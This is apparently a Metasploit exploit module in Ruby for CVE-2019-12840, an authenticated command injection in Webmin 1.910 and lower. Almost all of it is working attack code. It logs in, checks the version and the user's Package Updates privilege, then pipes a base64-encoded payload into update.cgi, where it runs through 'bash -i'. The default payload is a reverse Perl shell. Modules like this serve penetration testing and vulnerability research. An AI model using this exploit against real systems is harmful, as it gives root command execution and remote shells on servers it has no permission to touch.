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##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Webmin Package Updates Remote Command Execution',  
'Description' => %q(  
This module exploits an arbitrary command execution vulnerability in Webmin  
1.910 and lower versions. Any user authorized to the "Package Updates"  
module can execute arbitrary commands with root privileges.  
),  
'Author' => [  
'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2019-12840'],  
['URL', 'https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html']  
],  
'Privileged' => true,  
'Payload' =>  
{  
'DisableNops' => true,  
'Space' => 512,  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
}  
},  
'DefaultOptions' =>  
{  
'RPORT' => 10000,  
'SSL' => false,  
'PAYLOAD' => 'cmd/unix/reverse_perl'  
},  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Targets' => [['Webmin <= 1.910', {}]],  
'DisclosureDate' => 'May 16 2019',  
'DefaultTarget' => 0)  
)  
register_options [  
OptString.new('USERNAME', [true, 'Webmin Username']),  
OptString.new('PASSWORD', [true, 'Webmin Password']),  
OptString.new('TARGETURI', [true, 'Base path for Webmin application', '/'])  
]  
end  
  
def peer  
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"  
end  
  
def login  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'session_login.cgi'),  
'cookie' => 'testing=1', # it must be used for "Error - No cookies"  
'vars_post' => {  
'page' => '',  
'user' => datastore['USERNAME'],  
'pass' => datastore['PASSWORD']  
}  
})  
  
if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/  
return $1  
end  
  
return nil unless res  
''  
end  
  
def check  
cookie = login  
return CheckCode::Detected if cookie == ''  
return CheckCode::Unknown if cookie.nil?  
  
vprint_status('Attempting to execute...')  
# check version  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "sysinfo.cgi"),  
'cookie' => "sid=#{cookie}",  
'vars_get' => { "xnavigation" => "1" }  
})  
  
if res && res.code == 302 && res.body  
version = res.body.split("- Webmin 1.")[1]  
return CheckCode::Detected if version.nil?  
version = version.split(" ")[0]  
if version <= "910"  
# check package update priv  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "package-updates/"),  
'cookie' => "sid=#{cookie}"  
})  
  
if res && res.code == 200 && res.body =~ /Software Package Update/  
print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")  
return CheckCode::Vulnerable  
end  
end  
end  
print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")  
print_status("Please try with another user account!")  
CheckCode::Safe  
end  
  
def exploit  
cookie = login  
if cookie == '' || cookie.nil?  
fail_with(Failure::Unknown, 'Failed to retrieve session cookie')  
end  
print_good("Session cookie: #{cookie}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),  
'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" },  
'cookie' => "sid=#{cookie}"  
)  
unless res && res.code == 200  
fail_with(Failure::Unknown, 'Request failed')  
end  
  
print_status("Attempting to execute the payload...")  
run_update(cookie)  
end  
  
def run_update(cookie)  
@b64p = Rex::Text.encode_base64(payload.encoded)  
perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'  
payload = Rex::Text.uri_encode(perl_payload)  
  
res = send_request_cgi(  
{  
'method' => 'POST',  
'cookie' => "sid=#{cookie}",  
'ctype' => 'application/x-www-form-urlencoded',  
'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),  
'headers' =>  
{  
'Referer' => "#{peer}/package-updates/?xnavigation=1"  
},  
'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"  
})  
end  
end